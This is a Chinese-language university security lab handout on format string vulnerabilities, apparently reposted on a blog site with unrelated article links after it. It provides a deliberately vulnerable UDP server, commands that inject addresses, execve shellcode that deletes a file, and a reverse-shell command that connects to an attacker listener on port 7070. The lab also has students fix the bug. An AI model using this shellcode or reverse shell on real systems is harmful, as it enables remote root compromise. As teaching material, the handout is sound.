【南方科技大学】CS315 Computer Security 【Lab3 Format String Vulnerability】

news2024/11/15 1:34:54

目录

  • Lab Overview
  • Lab Tasks
    • Task 1: The Vulnerable Program
    • Task 2: Understanding the Layout of the Stack
    • Task 3: Crash the Program
    • Task 4: Print Out the Server Program’s Memory
    • Task 5: Change the Server Program’s Memory
    • Task 6: Inject Malicious Code into the Server Program
    • Task 7: Getting a Reverse Shell
    • Task 8: Fixing the Problem
  • Submission

Lab Overview

C语言中的printf()函数用于按照格式打印出字符串。它的第一个参数称为格式字符串,它定义了字符串的格式。格式字符串使用 % 字符标记的占位符供 prinf() 函数在打印期间填充数据。格式字符串的使用不仅限于 printf() 函数;许多其他函数,例如 sprintf()、fprintf() 和 scanf(),也使用格式字符串。某些程序允许用户以格式字符串提供全部或部分内容。如果此类内容未经清理,恶意用户可以利用此机会让程序运行任意代码。像这样的问题称为格式字符串漏洞。

本实验的目标是让学生通过将在课堂上学到的有关漏洞的知识付诸实践,获得有关格式字符串漏洞的第一手经验。学生将获得一个存在格式字符串漏洞的程序;他们的任务是利用该漏洞实现以下破坏:(1)使程序崩溃,(2)读取程序的内部存储器,(3)修改程序的内部存储器,最严重的是,(4)注入并利用受害者程序的权限执行恶意代码。如果易受攻击的程序是特权程序(例如 root 守护程序),最后的后果将非常危险,因为这可以为攻击者提供系统的 root 访问权限。本实验室涵盖以下主题:

• Format string vulnerability

• Code injection

• Shellcode

• Reverse shell

Lab Tasks

为了简化本实验中的任务,我们使用以下命令关闭地址随机化:

$ sudo sysctl -w kernel.randomize_va_space=0

Task 1: The Vulnerable Program

您将获得一个存在格式字符串漏洞的易受攻击的程序。该程序是一个服务器程序。当它运行时,它监听 UDP 端口 9090。每当 UDP 数据包到达此端口时,程序就会获取数据并调用 myprint() 打印数据。服务器是 root 守护进程,即它以 root 权限运行。 myprintf() 函数内部存在格式字符串漏洞。我们将利用该漏洞来获取root权限。

Listing 1: ”The vulnerable server program”

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 
#include <sys/socket.h> 
#include <netinet/ip.h> 

#define PORT 9090 

char *secret = "A secret message\n"; 
unsigned int target = 0x11223344; 
void myprintf(char *msg) 
{ 
	printf("The address of the ’msg’ argument: 0x%.8x\n", (unsigned) &msg); 
	// This line has a format-string vulnerability printf(msg); 
	printf("The value of the ’target’ variable (after): 0x%.8x\n", target); 
} 
// This function provides some helpful information. It is meant to 
// simplify the lab task. In practice, attackers need to figure 
// out the information by themselves. 
void helper() 
{ 
	printf("The address of the secret: 0x%.8x\n", (unsigned) secret); 
	printf("The address of the ’target’ variable: 0x%.8x\n", (unsigned) &target); 
	printf("The value of the ’target’ variable (before): 0x%.8x\n", target); 
} 
void main() 
{ 
	struct sockaddr_in server; 
	struct sockaddr_in client; 
	int clientLen; 
	char buf[1500]; 
	helper(); 
	int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 
	memset((char *) &server, 0, sizeof(server)); 
	server.sin_family = AF_INET; 
	server.sin_addr.s_addr = htonl(INADDR_ANY); 
	server.sin_port = htons(PORT); 
	if (bind(sock, (struct sockaddr *) &server, sizeof(server)) < 0) 
		perror("ERROR on binding"); 
	while (1) 
	{ 
		bzero(buf, 1500); 
		recvfrom(sock, buf, 1500-1, 0, (struct sockaddr *) &client, &clientLen); 
		myprintf(buf); 
	} 
	close(sock); 
}

汇编。编译上述程序。您将收到一条警告消息。此警告消息是 gcc 编译器针对格式字符串漏洞实施的对策。我们现在可以忽略这个警告消息。

$ gcc -z execstack -o server server.c server.c: 
In function myprintf: server.c:13:5: warning: format not a string literal and no format arguments [-Wformat-security] printf(msg);

需要注意的是,程序需要使用“-z execstack”选项进行编译,该选项允许堆栈可执行。此选项对任务 1 至 5 没有影响,但对于任务 6 和 7 来说,它很重要。在这两个任务中,我们需要将恶意代码注入到该服务器程序的堆栈空间中;如果堆栈不可执行,任务 6 和 7 将失败。不可执行堆栈是针对基于堆栈的代码注入攻击的对策,但可以使用返回到 libc 技术来击败它。为了简化这个实验,我们简单地禁用这个可失败的对策。

运行并测试服务器。本实验的理想设置是在一台虚拟机上运行服务器,然后从另一台虚拟机发起攻击。但是,如果学生在本实验中使用一台虚拟机也是可以接受的。在服务器虚拟机上,我们使用 root 权限运行服务器程序。我们假设该程序是特权根守护程序。服务器监听9090端口。在客户端VM上,我们可以使用nc命令连接到服务器,其中标志“-u”表示UDP(服务器程序是UDP服务器)。以下示例中的 IP 地址应替换为服务器 VM 的实际 IP 地址,如果客户端和服务器运行在同一 VM 上,则替换为 127.0.0.1。

// On the server VM 
$ sudo ./server 

// On the client VM 
$ nc -u 10.0.2.5 9090 
message typed by you

您可以在客户端输入任何消息;服务器程序应该打印出您输入的任何内容。然而,服务器程序的 myprintf() 函数中存在格式字符串漏洞,这允许我们让服务器程序做比它应该做的更多的事情,包括给我们对服务器机器的根访问权限。在本实验的其余部分中,我们将利用此漏洞。

Task 2: Understanding the Layout of the Stack

Figure 1: The stack layout when printf() is invoked from inside of the myprintf() function.
为了在本实验中取得成功,必须了解在 myprintf() 内部调用 printf() 函数时的堆栈布局。图 1 描述了堆栈布局。你需要进行一些调查和计算,然后回答以下问题:

问题1:1,2,3 标记位置的内存地址是多少?

问题2: 1和3标记的位置之间的距离是多少?

Task 3: Crash the Program

此任务的目标是向服务器提供输入,这样当服务器程序尝试在 myprintf() 函数中打印出用户输入时,它将崩溃。

Task 4: Print Out the Server Program’s Memory

此任务的目标是让服务器从其内存中打印出一些数据。数据会在服务器端打印出来,因此攻击者无法看到。因此,这不是一次有意义的攻击,但该任务中使用的技术对于后续任务至关重要。

任务 4.A:堆栈数据。目标是打印出堆栈上的数据(任何数据都可以)。您需要提供多少个格式说明符才能让服务器程序打印出输入的前四个字节?

任务4.B:堆数据 堆区域中存储着一条秘密消息,并且你知道它的地址;你的工作是打印出秘密消息的内容。为了实现这一目标,您需要将秘密消息的地址(二进制形式)放入输入(即格式字符串)中,但在终端内输入二进制数据很困难。我们可以使用以下命令来做到这一点。

$ echo $(printf "\x04\xF3\xFF\xBF")%.8x%.8x | nc 127.0.0.1 9090 

// Or we can save the data in a file 
$ echo $(printf "\x04\xF3\xFF\xBF")%.8x%.8x > input 
$ nc 127.0.0.1 9090 < input

需要注意的是,大多数计算机都是小端机器,因此要在内存中存储地址0xAABBCCDD(32位机器上的四个字节),最低有效字节0xDD存储在低地址,而最高有效字节0xAA存储在高地址中。因此,当我们将地址存储在缓冲区中时,我们需要按照以下顺序保存:0xDD、0xCC、0xBB、然后0xAA。

Task 5: Change the Server Program’s Memory

此任务的目标是修改服务器程序中定义的目标变量的值。它的原始值为0x11223344。假设这个变量有一个重要的值,它可以影响程序的控制流。如果远程攻击者可以更改其值,他们就可以更改该程序的行为。我们有三个子任务。

任务 5.A:将该值更改为不同的值。在这个子任务中,我们需要将目标变量的内容更改为其他内容。如果您可以将任务更改为不同的值,则无论其值是多少,都将其视为成功。

任务 5.B:将值更改为 0x500。在这个子任务中,我们需要将目标变量的内容更改为特定值0x500。仅当变量的值变为 0x500 时,您的任务才被视为成功。

任务 5.C:将值更改为 0xFF990000。该子任务与上一个子任务类似,只是目标值现在是一个很大的数字。在格式字符串攻击中,该值是 printf() 函数打印出的字符总数;打印出如此大量的字符可能需要几个小时。您需要使用更快的方法。基本思想是使用%hn,而不是%n,这样我们就可以修改两个字节的内存空间,而不是四个字节。打印出 216 个字符并不需要太多时间。我们可以将目标变量的内存空间分成两块内存,每块有两个字节。我们只需要将一个块设置为0xFF99,将另一个块设置为0x0000。这意味着在您的攻击中,您需要在格式字符串中提供两个地址。

在格式字符串攻击中,将内存空间的内容更改为非常小的值是相当具有挑战性的(请在报告中解释原因); 0x00 是一个极端情况。为了实现这个目标,我们需要使用溢出技术。基本思想是,当我们使一个数字大于存储允许的值时,只存储该数字的较低部分(基本上,存在整数溢出)。例如,如果将数字216 + 5存储在16位内存空间中,则只会存储5。因此,要达到零,我们只需要将数字变为 216 = 65, 536。

Task 6: Inject Malicious Code into the Server Program

现在我们准备好攻击这次攻击的皇冠上的宝石,即向服务器程序注入一段恶意代码,这样我们就可以从服务器上删除一个文件。这项任务将为我们下一步的任务奠定基础,这是获得服务器计算机的完全控制权。

为了完成这个任务,我们需要将一段恶意代码以二进制格式注入到服务器内存中,然后利用格式字符串漏洞修改函数的返回地址字段,这样当函数返回时就会跳转到我们注入的代码。为了删除文件,我们希望恶意代码使用shell程序执行/bin/rm命令,例如/bin/bash。这种类型的代码称为 shellcode。

/bin/bash -c "/bin/rm /tmp/myfile"

我们需要使用 execve() 系统调用来执行上述 shellcode 命令,这意味着我们需要将以下参数提供给 execve():

execve(address to the "/bin/bash" string, address to argv[], 0), 
	where 	argv[0] = address to the "/bin/bash" string, 
			argv[1] = address to the "-c" string, 
			argv[2] = address to the "/bin/rm /tmp/myfile" string, 
			argv[3] = 0

我们需要编写机器代码来调用execve()系统调用,这意味着我们需要设置以下四个寄存器,然后调用int 0x80指令。

eax = 0x0B (execve()’s system call number) 
ebx = address to the "/bin/bash" string (argument 1) 
ecx = address to argv[] (argument 2) 
edx = 0 (argument 3, for environment variables; we set it to NULL)

在 shellcode 中设置这四个寄存器非常具有挑战性,主要是因为代码中不能有任何零(字符串中的零终止字符串)。我们在下面提供了 shellcode。 shellcode 的详细解释可以在 Buffer-Overflow Lab 和 SEED 书的第 4.6 章中找到。

Listing 2: Shellcode (/bin/bash -c “/bin/rm /tmp/myfile”)

// Push "/binbash" into stack. 
"\x31\xc0" // xorl %eax, %eax : eax = 0 
"\x50" // pushl $eax : 0 marks the end of a string 
"\x68""bash" // pushl "bash" 
"\x68""" // pushl "" : "" is equivalent to "/" 
"\x68""/bin" // pushl "/bin" 
"\x89\xe3" // movl %esp, %ebx : Save the string address to ebx 

// Push "-ccc" into stack. 
"\x31\xc0" // xorl %eax, %eax " eax = 0 
"\x50" // pushl $eax : 0 marks the end of a string 
"\x68""-ccc" // pushl "-ccc" : "-ccc" is equivalent to "-c" 
"\x89\xe0" // movl %esp, %eax : Save the string address to eax 

// Push "/bin/rm /tmp/myfile " into stack. 
"\x31\xd2" // xorl %edx, %edx : edx = 0 
"\x52" // pushl %edx : 0 marks the end of a string 
"\x68""ile " // pushl "ile " 1 
"\x68""/myf" // pushl "/myf" 
"\x68""/tmp" // pushl "/tmp" 
"\x68""/rm " // pushl "/rm " 
"\x68""/bin" // pushl "/bin" 2
"\x89\xe2" // movl %esp,%edx : Save the string address to edx 

// Construct the argv[] array. 
"\x31\xc9" // xorl %ecx, %ecx 
"\x51" // pushl %ecx : argv[3] = 0 
"\x52" // pushl %edx : argv[2] = address of "/bin/rm ..." 
"\x50" // pushl %eax : argv[1] = address of "-c" 
"\x53" // pushl %ebx : argv[0] = address of "/bin/bash" 
"\x89\xe1" // movl %esp, %ecx : Save argv[]’s address to ecx 

// Set edx to 0. 
"\x31\xd2" // xorl %edx, %edx : Let edx = 0 

// Invoke the system call. 
"\x31\xc0" // xorl %eax, %eax 
"\xb0\x0b" // movb $0x0b, %al : 0x0b is execve()’s number 
"\xcd\x80" // int 0x80 : Invoke the execve() system call

您需要注意 1和 2行的代码。这是我们将 /bin/rm 命令字符串推入缓冲区的地方。在本次任务中,您不需要修改这部分内容,但在下一个任务中,您需要修改它。 Pushl指令只能将32位整数压入堆栈;这就是为什么我们将字符串分成几个 4 字节块。由于这是一个 shell 命令,因此添加额外的空格不会改变该命令的含义;因此,如果字符串的长度不能被四整除,您可以随时添加额外的空格。堆栈从高地址向低地址增长(即反向),因此我们需要将字符串也反向推入堆栈。

在shellcode中,当我们将“/bin/bash”存储到堆栈中时,我们存储的是“/binbash”,其长度为12,是4的倍数。额外的“/”被execve忽略( )。类似地,当我们将“-c”存储到堆栈中时,我们存储“-ccc”,将长度增加到4。对于bash,这些额外的c被认为是多余的。

上面显示的代码适用于 C 程序,我们将机器代码存储到数组中。对于此任务,我们可以直接在命令中键入二进制代码(使用 \x),如下所示(无需在指令之间键入引号)。需要注意的是,我们可以将 NOP (\0x90) 放在 shellcode 的开头,以使我们的生活更轻松(为什么?请在报告中解释)。

$ echo ...(your format string)...$(printf "\x90\x90\x90\x90\x31\xc0 ... \x31\xd2\x52\68ile \x68/myf\x68/tmp\x68/rm \x68/bin\x89\xe2 ... \xcd\x80")

请构建您的输入,将其提供给服务器程序,并证明您可以成功删除目标文件。在你的实验报告中,你需要解释你的格式字符串是如何构造的。请在图1中标明您的恶意代码存放位置(请提供具体地址)。

Task 7: Getting a Reverse Shell

当攻击者能够使用 TCP 会话劫持将命令注入受害者的计算机时,他们对在受害者计算机上运行一个简单的命令不感兴趣;他们对运行许多命令感兴趣。攻击者想要达到的目的就是利用这次攻击设置一个后门,然后利用这个后门方便地进行进一步的破坏。

设置后门的典型方法是从受害计算机运行反向 shell,为攻击者提供对受害计算机的 shell 访问权限。反向 shell 是在远程计算机上运行的 shell 进程,连接回攻击者的计算机。这为攻击者提供了一种在远程计算机受到威胁后访问远程计算机的便捷方法。第 3 章提供了反向 shell 如何工作的说明SEED 书的内容。还可以在 Shellshock 攻击实验室和 TCP 攻击实验室的指南部分中找到它。

为了获得反向 shell,我们需要首先在攻击者机器上运行 TCP 服务器。该服务器等待我们的恶意代码从受害者服务器计算机回调。以下 nc 命令创建侦听端口 7070 的 TCP 服务器:

$ nc -l 7070 -v

您需要修改清单 2 中列出的 shellcode,因此您的 shellcode 不运行使用 bash 的 /bin/rm 命令,而是运行以下命令。该示例假设攻击者计算机的 IP 地址是 10.0.2.5,因此您需要在代码中更改 IP 地址:

/bin/bash -c "/bin/bash -i > /dev/tcp/10.0.2.5/7070 0<&1 2>&1"

只需要修改1 和2行之间的代码,这样上面的“/bin/bash -i …”命令就会由 shellcode 执行,而不是 /bin/rm 命令。完成 shellcode 后,您应该构建格式字符串,将其作为输入发送到受害者服务器。如果攻击成功,您的 TCP 服务器应该会收到回调,并且您将在受害者计算机上获得 root shell。请在报告中提供成功的证据(包括屏幕截图)。

Task 8: Fixing the Problem

还记得 gcc 编译器生成的警告消息吗?请解释一下这是什么意思。请修复服务器程序中的漏洞,并重新编译。编译器警告消失了吗?你的攻击还有效吗?您只需尝试其中一种攻击即可查看它是否仍然有效。

Submission

您需要提交一份详细的实验室报告,并附有屏幕截图,以描述您所做的事情以及观察到的情况。您还需要对有趣或令人惊讶的观察结果提供解释。另请列出重要的代码片段(如果有)并附上解释。简单地附加代码而不做任何解释将不会获得积分。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2150973.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【第十一章:Sentosa_DSML社区版-机器学习分类】

目录 11.1 逻辑回归分类 11.2 决策树分类 11.3 梯度提升决策树分类 11.4 XGBoost分类 11.5 随机森林分类 11.6 朴素贝叶斯分类 11.7 支持向量机分类 11.8 多层感知机分类 11.9 LightGBM分类 11.10 因子分解机分类 11.11 AdaBoost分类 11.12 KNN分类 【第十一章&…

С++第十三节课 string初体验

一、string类的相关函数 string实际上也就是一个管理字符的顺序表&#xff01; 如果我们需要遍历一个字符串&#xff0c;怎么实现&#xff1f; 我们可以通过下标访问操作符 size实现字符串的遍历&#xff01; int main() {string s1("hello world");// 遍历一个字…

玩具车检测系统源码分享

玩具车检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer Visio…

zynq SDK 关于SD卡报错

在修改了BD的部分代码之后&#xff0c;重新综合工程生成bit&#xff0c;之后刷新hdf文件&#xff0c;在SDK端就出现了SD卡相关的函数未定义的报错&#xff1a; Description Resource Path Location Type E:\Work\VivadoPrj\Prj1\project_1\project_1.sdk\Test\Debug/…/src/hel…

arm开发板通信

c语言复习 查询Ubuntu版本&#xff08;18.04&#xff09;和内核&#xff08;5.4&#xff09; 查询使用软件的版本号 arm开发板通信- 直播视频-- 项目第二天下午 2024-09-20 linux和windows下操作开发板前提是开发板中已经导入系统 以下是具体操作 linux下开发板的操作 li…

Java项目实战II基于Java+Spring Boot+MySQL的读书笔记共享平台(开发文档+数据库+源码)

目录 一、前言 二、技术介绍 三、系统实现 四、论文参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 在信息爆炸…

无人机黑飞打击技术详解

随着无人机技术的普及&#xff0c;无人机“黑飞”&#xff08;未经授权或违反规定的飞行&#xff09;现象日益严重&#xff0c;对公共安全、隐私保护及重要设施安全构成了严重威胁。为有效应对这一挑战&#xff0c;各国政府和安全机构纷纷研发并部署了一系列无人机黑飞打击技术…

龙头名企HR数字创新:超8成参调企业上线电子签

近日&#xff0c;法大大与人力资源智享会&#xff08;以下简称“智享会”&#xff09;联合发布了《第七届人力资源共享服务中心研究报告》&#xff08;点击阅读及下载&#xff1a;最新&#xff01;《第七届人力资源共享服务中心研究报告》重磅来袭&#xff09;&#xff0c;该报…

反转字符串中的单词--力扣151

反转字符串中的单词 题目思路代码 题目 思路 题目的难点在于首先要清除多余的空格&#xff0c;并且单词之间要留一个空格&#xff0c;首单词前和末尾单词后不能有多余空格。我们使用双指针去除所有的空格&#xff0c;然后在处理完一个单词后手动加一个单词。具体思路是当快指针…

李沐 过拟合和欠拟合【动手学深度学习v2】

模型容量 模型容量的影响 估计模型容量 难以在不同的种类算法之间比较,例如树模型和神经网络 给定一个模型种类,将有两个主要因素: 参数的个数参数值的选择范围 VC维

GBDT算法原理及其公式推导过程

GBDT&#xff08;Gradient Boosting Decision Tree&#xff0c;梯度提升决策树&#xff09;是一种集成学习方法&#xff0c;主要用于回归和分类任务。它的基本思想是通过迭代地构建一系列弱学习器&#xff08;通常是决策树&#xff09;&#xff0c;并将这些弱学习器组合成一个强…

C++11 新的类功能

前言 上一期我们对右值引用和完美转发作了介绍&#xff0c;本期我们接着上期继续介绍C11的新的类功能&#xff01; 目录 前言 • 新的类功能 默认成员函数 类成员变量初始化 强制生成默认函数的关键字default 禁止生成默认成员函数的关键字delete 继承和多态中的final…

流动网红打卡车!苏州金龙海格双层巴士带你体验别样津门津韵

近日&#xff0c;由文化和旅游部主办&#xff0c;天津市文化和旅游局等单位承办的2024中国文化旅游产业博览会在天津拉开帷幕&#xff0c;展会期间&#xff0c;来自全国各地的文旅产品精彩亮相。而在天津交通集团展台&#xff0c;来自苏州金龙海格客车制造的网红双层观光“音乐…

redis安装(以6.0.13为例)

redis-6.0.13安装 1.创建安装目录2. 上传安装包3. 替换repo文件4.依赖安装5. redis安装5.1 解压5.2 编译5.3 安装5.4 配置 6. 常用命令 1.创建安装目录 mkdir -p /apps/scripts/ cd /apps/scripts/2. 上传安装包 将redis-6.0.13.tar.gz 上传至/apps/scripts/目录下 下载链接…

一站式语音识别服务:中文、方言、多语言全覆盖

在当今全球化与多元化的社会背景下&#xff0c;语音识别技术的需求日益增长。智匠MindCraft凭借其先进的语音识别功能&#xff0c;不仅覆盖了标准的中文识别&#xff0c;还扩展到了多种方言和多国语言的识别&#xff0c;为用户提供了一站式的语音转文本解决方案。 技术亮点 1…

c# 视觉识别图片文字 二维码

1.二维码识别 插件 ZXing.Net using System; using System.Drawing; // 如果你使用的是System.Drawing.Common using ZXing;class Program {static void Main(){string imagePath "path_to_your_qr_code_image.png";var barcodeBitmap (Bitmap)Image.FromFile(im…

9.20哈好

函数体 #include"SeqList.h"void SeqList::init(int n) {this->ptrnew data[n];this->len0;this->sizen; }bool SeqList::empty() {return this->len0; }bool SeqList::full() {return this->sizethis->len; }void SeqList::push_back(data e) {i…

Zookeeper安装使用教程

# 安装 官网下载安装包 #配置文件 端口默认8080&#xff0c;可能需要更改一下 #启动 cd /Users/lisongsong/software/apache-zookeeper-3.7.2-bin/bin ./zkServer.sh start #查看运行状态 ./zkServer.sh status #停止 ./zkServer.sh stop #启动客户端 ./zkCli.sh ls /

Linux:Bash中的文件描述符

相关阅读 Linuxhttps://blog.csdn.net/weixin_45791458/category_12234591.html?spm1001.2014.3001.5482 Linux中的所有进程&#xff0c;都拥有自己的文件描述符(File Descriptor, FD)&#xff0c;它是操作系统在管理进程和文件时的一种抽象概念。每个文件描述符由一个非负整…

在渗入测试和峰谷测试中选Flat还是Ramp-up?

前面的一篇文章中我们为大家介绍了在基准测试和规划测试中选Flat还是Ramp-up&#xff0c;具体应该怎么配置&#xff0c;在这篇文章里&#xff0c;我们继续为大家介绍在渗入测试和峰谷测试中选Flat还是Ramp-up&#xff1f; 渗入测试&#xff08;疲劳强度测试&#xff09; 使用固…